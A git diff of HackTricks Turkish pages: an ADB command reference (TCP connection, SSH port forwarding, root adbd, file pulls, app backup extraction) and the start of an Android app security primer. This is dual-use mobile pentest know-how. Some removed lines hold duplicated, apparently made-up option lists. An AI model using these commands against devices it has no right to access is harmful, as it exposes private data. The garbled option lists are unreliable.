<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,21 +1,20 @@
|
|||
# ADB Commands
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahramanla öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamınızı görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin**.
|
||||
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
**Adb genellikle şurada bulunur:**
|
||||
|
||||
```bash
|
||||
#Windows
|
||||
C:\Users\<username>\AppData\Local\Android\sdk\platform-tools\adb.exe
|
||||
|
@ -23,41 +22,31 @@ C:\Users\<username>\AppData\Local\Android\sdk\platform-tools\adb.exe
|
|||
#MacOS
|
||||
/Users/<username>/Library/Android/sdk/platform-tools/adb
|
||||
```
|
||||
**Elde edilen bilgi:** [**http://adbshell.com/**](http://adbshell.com)
|
||||
|
||||
**Elde edilen bilgiler:** [**http://adbshell.com/**](http://adbshell.com)
|
||||
|
||||
## Bağlantı
|
||||
|
||||
# Bağlantı
|
||||
```
|
||||
adb devices
|
||||
```
|
||||
Bu, bağlı cihazları listeleyecektir; eğer "_**yetkisiz**_" görünüyorsa, bu, **mobil** cihazınızı **açmanız** ve bağlantıyı **kabul etmeniz** gerektiği anlamına gelir.
|
||||
|
||||
Bu, bağlı cihazları listeleyecektir; "_**izin verilmemiş**_" görünüyorsa, bu, **mobil** cihazınızı **engellemeyi kaldırmanız** ve bağlantıyı **kabul etmeniz** gerektiği anlamına gelir.
|
||||
|
||||
Bu, cihaza 5555 numaralı bağlantı noktasında adb sunucusunu başlatması gerektiğini belirtir:
|
||||
|
||||
Bu, cihaza 5555 numaralı portta bir adb sunucusu başlatması gerektiğini belirtir:
|
||||
```
|
||||
adb tcpip 5555
|
||||
```
|
||||
|
||||
Belirtilen IP'ye ve Port'a bağlanın:
|
||||
|
||||
Bu IP'ye ve bu Port'a bağlan:
|
||||
```
|
||||
adb connect <IP>:<PORT>
|
||||
```
|
||||
|
||||
Eğer bir Sanal Android yazılımında (örneğin Genymotion gibi) aşağıdaki gibi bir hata alıyorsanız:
|
||||
|
||||
Eğer aşağıdaki gibi bir hata alırsanız, bir Sanal Android yazılımında (örneğin Genymotion):
|
||||
```
|
||||
adb server version (41) doesn't match this client (36); killing...
|
||||
```
|
||||
Bağlandığınız ADB sunucusunun farklı bir sürümde olduğu için. Yazılımın kullandığı adb ikili dosyasını bulmaya çalışın ( `C:\Program Files\Genymobile\Genymotion` dizinine gidin ve adb.exe'yi arayın)
|
||||
|
||||
Bu, farklı bir sürümle bir ADB sunucusuna bağlanmaya çalıştığınız için olabilir. Yazılımın kullandığı adb ikilisini bulmaya çalışın (`C:\Program Files\Genymobile\Genymotion` dizinine gidin ve adb.exe dosyasını arayın).
|
||||
|
||||
### Birden fazla cihaz
|
||||
|
||||
**Makinenize bağlı birden fazla cihaz** bulduğunuzda, adb komutunu hangi cihazda çalıştırmak istediğinizi belirtmeniz gerekecektir.
|
||||
## Birden fazla cihaz
|
||||
|
||||
**Makinenize bağlı olan birden fazla cihaz bulduğunuzda**, adb komutunu hangi cihazda çalıştırmak istediğinizi **belirtmeniz gerekecek**.
|
||||
```bash
|
||||
adb devices
|
||||
List of devices attached
|
||||
|
@ -70,22 +59,18 @@ adb -s 127.0.0.1:5555 shell
|
|||
x86_64:/ # whoami
|
||||
root
|
||||
```
|
||||
## Port Tunneling
|
||||
|
||||
### Port Tünellemesi
|
||||
|
||||
Eğer android cihazda **adb** **portu** sadece **localhost** üzerinden **erişilebilir** durumdaysa ve **SSH üzerinden erişiminiz varsa**, port 5555'i yönlendirebilir ve adb üzerinden bağlantı kurabilirsiniz:
|
||||
|
||||
Eğer **adb** **portu** yalnızca android cihazda **localhost** üzerinden **erişilebilir** ise ama **SSH üzerinden erişiminiz varsa**, **port 5555'i yönlendirebilir** ve adb üzerinden bağlanabilirsiniz:
|
||||
```bash
|
||||
ssh -i ssh_key username@10.10.10.10 -L 5555:127.0.0.1:5555 -p 2222
|
||||
adb connect 127.0.0.1:5555
|
||||
```
|
||||
# Paket Yöneticisi
|
||||
|
||||
## Paket Yöneticisi
|
||||
|
||||
### Yükleme/Kaldırma
|
||||
|
||||
#### adb install \[seçenek] \<yol>
|
||||
## Kurulum/Kaldırma
|
||||
|
||||
### adb install \[seçenek] \<yol>
|
||||
```bash
|
||||
adb install test.apk
|
||||
|
||||
|
@ -101,45 +86,17 @@ adb install -d test.apk # allow version code downgrade
|
|||
|
||||
adb install -p test.apk # partial application install
|
||||
```
|
||||
|
||||
#### adb uninstall \[seçenekler] \<PAKET>
|
||||
|
||||
Bu komut, belirtilen Android uygulamasını kaldırmak için kullanılır.
|
||||
|
||||
**Seçenekler:**
|
||||
|
||||
* **-k**: Uygulamanın veri ve önbellekelerini korurken kaldırır.
|
||||
* **--user \<USER\_ID>**: Belirli bir kullanıcının uygulamasını kaldırır. Varsayılan olarak, mevcut kullanıcının uygulaması kaldırılır.
|
||||
* **--all-users**: Tüm kullanıcıların uygulamalarını kaldırır.
|
||||
* **--keep-data**: Uygulamanın veri ve önbellekelerini korurken kaldırır.
|
||||
* **--version-code \<VERSION\_CODE>**: Belirli bir sürüm koduna sahip uygulamayı kaldırır.
|
||||
* **--user \<USER\_ID>**: Belirli bir kullanıcının uygulamasını kaldırır. Varsayılan olarak, mevcut kullanıcının uygulaması kaldırılır.
|
||||
* **-r**: Uygulamayı kaldırırken kullanıcı verilerini ve önbellekelerini siler.
|
||||
* **-s**: Sadece sistem uygulamalarını kaldırır.
|
||||
* **-f**: Güncelleme paketini zorla kaldırır.
|
||||
* **--user \<USER\_ID>**: Belirli bir kullanıcının uygulamasını kaldırır. Varsayılan olarak, mevcut kullanıcının uygulaması kaldırılır.
|
||||
* **--user \<USER\_ID>**: Belirli bir kullanıcının uygulamasını kaldırır. Varsayılan olarak, mevcut kullanıcının uygulaması kaldırılır.
|
||||
|
||||
**Örnekler:**
|
||||
|
||||
```bash
|
||||
adb uninstall com.example.app
|
||||
adb uninstall -k com.example.app
|
||||
adb uninstall --user 0 com.example.app
|
||||
```
|
||||
|
||||
### adb uninstall \[options] \<PACKAGE>
|
||||
```bash
|
||||
adb uninstall com.test.app
|
||||
|
||||
adb uninstall -k com.test.app Keep the data and cache directories around after package removal.
|
||||
```
|
||||
## Paketler
|
||||
|
||||
### Paketler
|
||||
|
||||
Tüm paketleri yazdırır, isteğe bağlı olarak sadece paket adında \<FİLTRE> metnini içerenleri.
|
||||
|
||||
#### adb shell pm list packages \[seçenekler] \<FİLTRE-STR>
|
||||
Tüm paketleri yazdırır, isteğe bağlı olarak yalnızca \<FILTER> metnini içeren paket adlarına sahip olanları.
|
||||
|
||||
### adb shell pm list packages \[options] \<FILTER-STR>
|
||||
```bash
|
||||
adb shell pm list packages <FILTER-STR>
|
||||
|
||||
|
@ -159,55 +116,43 @@ adb shell pm list packages -u <FILTER-STR> #Also include uninstalled packages.
|
|||
|
||||
adb shell pm list packages --user <USER_ID> <FILTER-STR> #The user space to query.
|
||||
```
|
||||
### adb shell pm path \<PACKAGE>
|
||||
|
||||
#### adb shell pm path \<PAKET>
|
||||
|
||||
Verilen \<PAKET>in APK dosyasının yolunu yazdırır.
|
||||
|
||||
Verilen APK'nın yolunu yazdırır.
|
||||
```bash
|
||||
adb shell pm path com.android.phone
|
||||
```
|
||||
|
||||
#### adb shell pm clear \<PAKET>
|
||||
### adb shell pm clear \<PACKAGE>
|
||||
|
||||
Bir paketle ilişkili tüm verileri siler.
|
||||
|
||||
```bash
|
||||
adb shell pm clear com.test.abc
|
||||
```
|
||||
# Dosya Yöneticisi
|
||||
|
||||
## Dosya Yöneticisi
|
||||
|
||||
#### adb pull \<uzak> \[yerel]
|
||||
|
||||
Bir emülatör/cihazdan belirtilen bir dosyayı bilgisayarınıza indirin.
|
||||
### adb pull \<remote> \[local]
|
||||
|
||||
Belirtilen bir dosyayı bir emülatörden/cihazdan bilgisayarınıza indirin.
|
||||
```bash
|
||||
adb pull /sdcard/demo.mp4 ./
|
||||
```
|
||||
### adb push \<local> \<remote>
|
||||
|
||||
#### adb push \<yerel> \<uzak>
|
||||
|
||||
Bilgisayarınızdan belirtilen bir dosyayı bir emülatöre/cihaza yükler.
|
||||
|
||||
Belirtilen bir dosyayı bilgisayarınızdan bir emülatöre/cihaza yükleyin.
|
||||
```bash
|
||||
adb push test.apk /sdcard
|
||||
```
|
||||
# Screencapture/Screenrecord
|
||||
|
||||
## Ekran Görüntüsü Alma/Ekran Kaydı
|
||||
|
||||
#### adb shell screencap \<dosyaadı>
|
||||
|
||||
Bir cihazın ekran görüntüsünü alma.
|
||||
### adb shell screencap \<filename>
|
||||
|
||||
Bir cihaz ekranının ekran görüntüsünü almak.
|
||||
```bash
|
||||
adb shell screencap /sdcard/screen.png
|
||||
```
|
||||
### adb shell screenrecord \[options] \<filename>
|
||||
|
||||
#### adb shell screenrecord \[seçenekler] \<dosyaadı>
|
||||
|
||||
Android 4.4 (API seviyesi 19) ve üzeri çalıştıran cihazların ekranını kaydetme.
|
||||
|
||||
Android 4.4 (API seviyesi 19) ve üzeri çalışan cihazların ekranını kaydetme.
|
||||
```bash
|
||||
adb shell screenrecord /sdcard/demo.mp4
|
||||
adb shell screenrecord --size <WIDTHxHEIGHT>
|
||||
|
@ -216,33 +161,27 @@ adb shell screenrecord --time-limit <TIME> #Sets the maximum recording time, in
|
|||
adb shell screenrecord --rotate # Rotates 90 degrees
|
||||
adb shell screenrecord --verbose
|
||||
```
|
||||
( kayıt durdurmak için Ctrl-C tuşuna basın )
|
||||
|
||||
(press Ctrl-C to stop recording)
|
||||
**Dosyaları (görüntüler ve videolar) **_**adb pull**_ kullanarak indirebilirsiniz.**
|
||||
|
||||
**\_**adb pull**\_** komutunu kullanarak dosyaları (resimler ve videolar) indirebilirsiniz.
|
||||
# Shell
|
||||
|
||||
## Kabuk
|
||||
|
||||
#### adb shell
|
||||
|
||||
Cihaz içinde bir kabuk alın.
|
||||
### adb shell
|
||||
|
||||
Cihazın içinde bir shell alın.
|
||||
```bash
|
||||
adb shell
|
||||
```
|
||||
### adb shell \<CMD>
|
||||
|
||||
#### adb shell \<CMD>
|
||||
|
||||
Cihaz içinde bir komut çalıştırır.
|
||||
|
||||
Cihaz içinde bir komut çalıştırın
|
||||
```bash
|
||||
adb shell ls
|
||||
```
|
||||
## pm
|
||||
|
||||
### pm
|
||||
|
||||
Aşağıdaki komutlar bir kabuk içinde çalıştırılır.
|
||||
|
||||
Aşağıdaki komutlar bir shell içinde çalıştırılır.
|
||||
```bash
|
||||
pm list packages #List installed packages
|
||||
pm path <package name> #Get the path to the apk file of tha package
|
||||
|
@ -251,82 +190,44 @@ am startservice [<options>] #Start a service. Whiout options you can see the hel
|
|||
am broadcast [<options>] #Send a broadcast. Whiout options you can see the help menu
|
||||
input [text|keyevent] #Send keystrokes to device
|
||||
```
|
||||
# Processes
|
||||
|
||||
## İşlemler
|
||||
|
||||
Uygulamanızın işleminin PID'sini almak istiyorsanız şunu çalıştırabilirsiniz:
|
||||
|
||||
Eğer uygulamanızın sürecinin PID'sini almak istiyorsanız, şunu çalıştırabilirsiniz:
|
||||
```bash
|
||||
adb shell ps
|
||||
```
|
||||
Ve uygulamanızı arayın
|
||||
|
||||
Ve uygulamanızı arayabilirsiniz
|
||||
|
||||
Ya da yapabilirsiniz
|
||||
|
||||
Ya da şunu yapabilirsiniz
|
||||
```bash
|
||||
adb shell pidof com.your.application
|
||||
```
|
||||
Ve uygulamanın PID'sini yazdıracaktır
|
||||
|
||||
Ve uygulamanın PID'sini yazdıracaktır.
|
||||
|
||||
## Sistem
|
||||
|
||||
# Sistem
|
||||
```bash
|
||||
adb root
|
||||
```
|
||||
|
||||
Adbd hizmetini kök izinleriyle yeniden başlatır. Ardından, ADB sunucusuna tekrar bağlanmanız gerekecek ve kök kullanıcı olacaksınız (mümkünse).
|
||||
|
||||
Root izinleriyle adbd daemon'unu yeniden başlatır. Ardından, ADB sunucusuna tekrar bağlanmanız gerekir ve root olacaksınız (varsa).
|
||||
```bash
|
||||
adb sideload <update.zip>
|
||||
```
|
||||
flashing/restoring Android update.zip paketleri.
|
||||
|
||||
Android güncelleme.zip paketlerini flaşlamak/geri yüklemek.
|
||||
# Loglar
|
||||
|
||||
## Günlükler
|
||||
|
||||
### Logcat
|
||||
|
||||
Sadece bir uygulamanın mesajlarını filtrelemek için, uygulamanın PID'sini alın ve logcat çıktısını filtrelemek için grep (linux/macos) veya findstr (windows) kullanın:
|
||||
## Logcat
|
||||
|
||||
**Sadece bir uygulamanın mesajlarını filtrelemek için**, uygulamanın PID'sini alın ve logcat çıktısını filtrelemek için grep (linux/macos) veya findstr (windows) kullanın:
|
||||
```bash
|
||||
adb logcat | grep 4526
|
||||
adb logcat | findstr 4526
|
||||
```
|
||||
|
||||
#### adb logcat \[seçenek] \[filtre-spesifikasyonları]
|
||||
|
||||
adb logcat komutu, Android cihazın günlüklerini görüntülemek için kullanılır. Bu komut, uygulama hatalarını ve hata ayıklama bilgilerini takip etmek için oldukça yararlıdır.
|
||||
|
||||
**Seçenekler:**
|
||||
|
||||
* **-d**: Günlükleri görüntüler ve çıktıyı durdurur.
|
||||
* **-e \<tag>**: Belirli bir etikete sahip günlükleri görüntüler.
|
||||
* **-s \<tag>**: Belirli bir etikete sahip günlükleri sessize alır.
|
||||
* **-v \<format>**: Belirli bir çıktı formatı belirler. Örneğin, "brief", "process", "tag", "thread", "raw", "time", "long", "threadtime" veya "epoch" gibi.
|
||||
|
||||
**Filtre Spesifikasyonları:**
|
||||
|
||||
* **\<tag>**: Belirli bir etikete sahip günlükleri görüntüler.
|
||||
* \***:\<priority>**: Belirli bir önceliğe sahip günlükleri görüntüler. Öncelikler: "V" (verbose), "D" (debug), "I" (info), "W" (warning), "E" (error), "F" (fatal), "S" (silent).
|
||||
* **\<tag>:\<priority>**: Belirli bir etikete ve önceliğe sahip günlükleri görüntüler.
|
||||
|
||||
Örnek kullanım:
|
||||
|
||||
```
|
||||
adb logcat -v brief
|
||||
adb logcat -s MyTag
|
||||
adb logcat *:E
|
||||
adb logcat MyTag:D
|
||||
```
|
||||
|
||||
### adb logcat \[option] \[filter-specs]
|
||||
```bash
|
||||
adb logcat
|
||||
```
|
||||
|
||||
Notlar: İzlemeyi durdurmak için Ctrl-C tuşlarına basın.
|
||||
|
||||
Notlar: monitörü durdurmak için Ctrl-C tuşuna basın
|
||||
```bash
|
||||
adb logcat *:V # lowest priority, filter to only show Verbose level
|
||||
|
||||
|
@ -342,19 +243,7 @@ adb logcat *:F # filter to only show Fatal level
|
|||
|
||||
adb logcat *:S # Silent, highest priority, on which nothing is ever printed
|
||||
```
|
||||
|
||||
#### adb logcat -b \<Buffer>
|
||||
|
||||
Bu komut, belirli bir tampona ait logları görüntülemek için kullanılır. Tampon, sistem, olay, anahtar ve hata olmak üzere dört farklı türde log içerebilir. Bu komutu kullanarak, belirli bir tampona ait logları görüntüleyebilir ve hata ayıklama veya sorun giderme işlemlerinde yardımcı olabilirsiniz.
|
||||
|
||||
Örnek kullanım:
|
||||
|
||||
```bash
|
||||
adb logcat -b main
|
||||
```
|
||||
|
||||
Bu komut, "main" tamponuna ait logları görüntüler.
|
||||
|
||||
### adb logcat -b \<Buffer>
|
||||
```bash
|
||||
adb logcat -b # radio View the buffer that contains radio/telephony related messages.
|
||||
|
||||
|
@ -372,13 +261,11 @@ adb logcat -g # Prints the size of the specified log buffer and exits.
|
|||
|
||||
adb logcat -n <count> # Sets the maximum number of rotated logs to <count>.
|
||||
```
|
||||
## dumpsys
|
||||
|
||||
### dumpsys
|
||||
|
||||
sistem verilerini döker
|
||||
|
||||
#### adb shell dumpsys \[seçenekler]
|
||||
sistem verilerini dökme
|
||||
|
||||
### adb shell dumpsys \[options]
|
||||
```bash
|
||||
adb shell dumpsys
|
||||
|
||||
|
@ -386,25 +273,19 @@ adb shell dumpsys meminfo
|
|||
|
||||
adb shell dumpsys battery
|
||||
```
|
||||
|
||||
Notlar: Android 5.0 veya daha yeni bir sürümü çalıştıran, Geliştirici Seçenekleri etkinleştirilmiş bir mobil cihaz.
|
||||
|
||||
Notlar: Geliştirici Seçenekleri etkinleştirilmiş bir mobil cihaz, Android 5.0 veya daha yüksek sürümde çalışıyor.
|
||||
```bash
|
||||
adb shell dumpsys batterystats collects battery data from your device
|
||||
```
|
||||
|
||||
Notlar: [Battery Historian](https://github.com/google/battery-historian) bu verileri HTML görselleştirmesine dönüştürür. **ADIM 1** _adb shell dumpsys batterystats > batterystats.txt_ **ADIM 2** _python historian.py batterystats.txt > batterystats.html_
|
||||
|
||||
```bash
|
||||
adb shell dumpsys batterystats --reset erases old collection data
|
||||
```
|
||||
|
||||
adb shell dumpsys activity
|
||||
|
||||
## Yedekleme
|
||||
|
||||
Bir Android cihazını adb üzerinden yedekleyin.
|
||||
# Yedekleme
|
||||
|
||||
adb'den bir android cihazını yedekleyin.
|
||||
```bash
|
||||
adb backup [-apk] [-shared] [-system] [-all] -f file.backup
|
||||
# -apk -- Include APK from Third partie's applications
|
||||
|
@ -416,23 +297,21 @@ adb shell pm list packages -f -3 #List packages
|
|||
adb backup -f myapp_backup.ab -apk com.myapp # backup on one device
|
||||
adb restore myapp_backup.ab # restore to the same or any other device
|
||||
```
|
||||
|
||||
Eğer yedeklemenin içeriğini incelemek istiyorsanız:
|
||||
|
||||
Eğer yedeğin içeriğini incelemek istiyorsanız:
|
||||
```bash
|
||||
( printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" ; tail -c +25 myapp_backup.ab ) | tar xfvz -
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a> <strong>öğrenin!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,20 +1,21 @@
|
|||
# Android Uygulamaları Temelleri
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin
|
||||
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**.
|
||||
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Güvenlik Grubu**
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -24,137 +25,138 @@ HackTricks'ı desteklemenin diğer yolları:
|
|||
|
||||
## Android Güvenlik Modeli
|
||||
|
||||
**İki katman bulunmaktadır:**
|
||||
**İki katman vardır:**
|
||||
|
||||
* **İşletim Sistemi (OS)**, yüklenmiş uygulamaları birbirinden izole eder.
|
||||
* **Uygulama kendisi**, geliştiricilere belirli işlevleri **açığa çıkarmalarına** ve uygulama yeteneklerini yapılandırmalarına olanak tanır.
|
||||
* **OS**, yüklü uygulamaları birbirinden izole tutar.
|
||||
* **uygulamanın kendisi**, geliştiricilerin **belirli işlevleri açığa çıkarmasına** ve uygulama yeteneklerini yapılandırmasına olanak tanır.
|
||||
|
||||
### UID Ayrımı
|
||||
|
||||
**Her uygulamaya belirli bir Kullanıcı Kimliği (UID) atanır**. Bu, uygulamanın yüklenmesi sırasında yapılır, böylece **uygulama yalnızca kendi UID'sine ait dosyalara veya paylaşılan** dosyalara erişebilir. Bu nedenle, yalnızca uygulama kendisi, işletim sisteminin belirli bileşenleri ve kök kullanıcı uygulama verilerine erişebilir.
|
||||
**Her uygulamaya belirli bir Kullanıcı Kimliği atanır**. Bu, uygulamanın yüklenmesi sırasında yapılır, böylece **uygulama yalnızca kendi Kullanıcı Kimliğine ait dosyalarla veya paylaşılan** dosyalarla etkileşimde bulunabilir. Bu nedenle, yalnızca uygulamanın kendisi, OS'nin belirli bileşenleri ve root kullanıcısı uygulama verilerine erişebilir.
|
||||
|
||||
### UID Paylaşımı
|
||||
|
||||
**İki uygulama aynı UID'yi kullanacak şekilde yapılandırılabilir**. Bu bilgi paylaşımı için faydalı olabilir, ancak bunlardan biri tehlikeye düşerse her iki uygulamanın verileri de tehlikeye düşer. Bu nedenle bu davranışın **önerilmediğini** unutmayın.\
|
||||
**Aynı UID'yi paylaşmak için uygulamalar, manifestolarında aynı `android:sharedUserId` değerini tanımlamalıdır.**
|
||||
**İki uygulama aynı UID'yi kullanacak şekilde yapılandırılabilir**. Bu, bilgi paylaşmak için yararlı olabilir, ancak bunlardan biri tehlikeye girerse, her iki uygulamanın verileri de tehlikeye girecektir. Bu nedenle bu davranış **tavsiye edilmez**.\
|
||||
**Aynı UID'yi paylaşmak için, uygulamalar manifestolarında aynı `android:sharedUserId` değerini tanımlamalıdır.**
|
||||
|
||||
### Kum Sandığı (Sandboxing)
|
||||
### Sandbox
|
||||
|
||||
**Android Uygulama Kum Sandığı**, **her uygulamanın** ayrı bir süreç olarak çalışmasına olanak tanır ve her sürecin kendi sanal makinesi vardır, bu nedenle bir uygulamanın kodu diğer uygulamalardan izole bir şekilde çalışır.\
|
||||
